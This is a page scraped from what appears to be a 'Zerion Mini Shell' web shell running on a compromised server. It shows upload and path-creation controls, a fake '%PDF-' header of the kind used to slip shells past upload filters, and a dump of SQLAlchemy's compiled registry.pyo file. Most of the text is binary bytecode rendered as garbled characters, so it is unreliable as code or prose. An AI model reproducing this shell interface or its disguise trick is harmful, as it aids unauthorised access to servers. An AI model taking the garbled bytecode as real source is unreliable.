%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyo

�
��4]c@@s�dZddlmZddlZddlZddlZddlmZddlmZej	e
�Zej	e
�Zd�Z
d�Zd	�Zd
�Zd�Zdefd
��YZdS(sJProvides managed registration services on behalf of :func:`.listen`
arguments.

By "managed registration", we mean that event listening functions and
other objects can be added to various collections in such a way that their
membership in all those collections can be revoked at once, based on
an equivalent :class:`._EventKey`.

i(tabsolute_importNi(texc(tutilcC@s}ts|tkrdStj|�}xP|j�D]B}|tkr3t|}|j|�|sutj|�quq3q3WdS(N(t_collection_to_keytpoptvaluest_key_to_collection(treftlistener_to_keytkeytdispatch_reg((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyt_collection_gced5s

cC@s`|j}t|}|j}tj|j�}||kr>tS|||<t|}|||<tS(N(t_keyRRtweakreft
_listen_fntFalseRtTrue(t	event_keytownerR	R
t	owner_reft
listen_refR((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyt_stored_in_collectionCs	
	


cC@sx|j}t|}tj|j�}|j}|j|d�|sNt|=n|tkrtt|}|j|�ndS(N(RRR
RRRtNoneR(RRR	R
RRR((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyt_removed_from_collectionVs	
	

c	C@s�|s
dS|j}|j}t|}t|}xT|D]L}tj|�}||}t|}||kron
|||<|||<q7WdS(N(RRR
R(	tnewownertoldownertelementstold_listener_to_keytnew_listener_to_keyt	listen_fnRR	R
((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyt_stored_in_collection_multigs		





cC@su|s
dS|j}t|}xQ|D]I}tj|�}||}t|}|j|d�|s$t|=q$q$WdS(N(RRR
RRR(RRRRRR	R
((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyt_clear}s	



t	_EventKeycB@s�eZdZdZdd�Zed��Zd	�Zd
�Z	d�Z
d�Zd
�Ze
e
e
dd�Zed��Zd�Zd�Zd�ZRS(s)Represent :func:`.listen` arguments.
    ttargett
identifiertfntfn_keytfn_wraptdispatch_targetcC@sv||_||_||_t|tj�rQt|j�t|j�f|_	nt|�|_	||_
||_dS(N(R!R"R#t
isinstancettypest
MethodTypetidt__func__t__self__R$R%R&(tselfR!R"R#R&t_fn_wrap((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyt__init__�s			$	cC@st|j�|j|jfS(N(R*R!R"R$(R-((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyR�scC@s<||jkr|St|j|j|j|jd|�SdS(NR.(RR R!R"R#R&(R-R%((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pytwith_wrapper�s	cC@s<||jkr|St|j|j|j|d|j�SdS(NR.(R&R R!R"R#R%(R-R&((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pytwith_dispatch_target�scO@s�|jdt�}|jdt�}|j|j|j}}}t|j|�}|j||�}	|j|	�}t|jjj	|j�}
t
|
d�r�|
j�n|r�|jtj
|j��j||�n|jjj|||�dS(Ntoncetnamedt_sa_warn(RRR&R"Rtgetattrtdispatcht_adjust_fn_specR0t_eventsthasattrR4Rt	only_oncetlistent_listen(R-targstkwR2R3R!R"R#tdispatch_collectiontadjusted_fnt
stub_function((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyR;�s 

cC@s�|j}|tkr=tjd|j|j|jf��ntj|�}x]|j�D]O\}}|�}|�}|dk	rY|dk	rY|j
|j|��qYqYWdS(Ns*No listeners found for event %s / %r / %s (RRRtInvalidRequestErrorR!R"R#RtitemsRtremoveR0(R-R	R
tcollection_reftlistener_reft
collectiontlistener_fn((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyRD�s			cC@s
|jtkS(s?Return True if this event key is registered to listen.
        (RR(R-((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pytcontains�scC@sj|j|j}}t|j|�}|rJ|j|j�j||�n|j|j�j||�dS(N(R&R"R5R6t
for_modifytinserttappend(R-t	propagateRKR3tretvalR!R"R?((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pytbase_listen�s
cC@s|jp|jS(N(R%R#(R-((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyRscC@s+t||�r#|j|j�tStSdS(N(RRLRRR(R-Rtlist_((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pytappend_to_listscC@s!t||�|j|j�dS(N(RRDR(R-RRP((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pytremove_from_lists
cC@s+t||�r#|j|j�tStSdS(N(Rt
appendleftRRR(R-RRP((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pytprepend_to_lists(R!R"R#R$R%R&N(t__name__t
__module__t__doc__t	__slots__RR/tpropertyRR0R1R;RDRIRRORRQRRRT(((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyR �s&							(RWt
__future__RtcollectionsR(R
tRRtdefaultdicttdictRRRRRRRtobjectR (((sL/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/event/registry.pyt<module>s
					

Zerion Mini Shell 1.0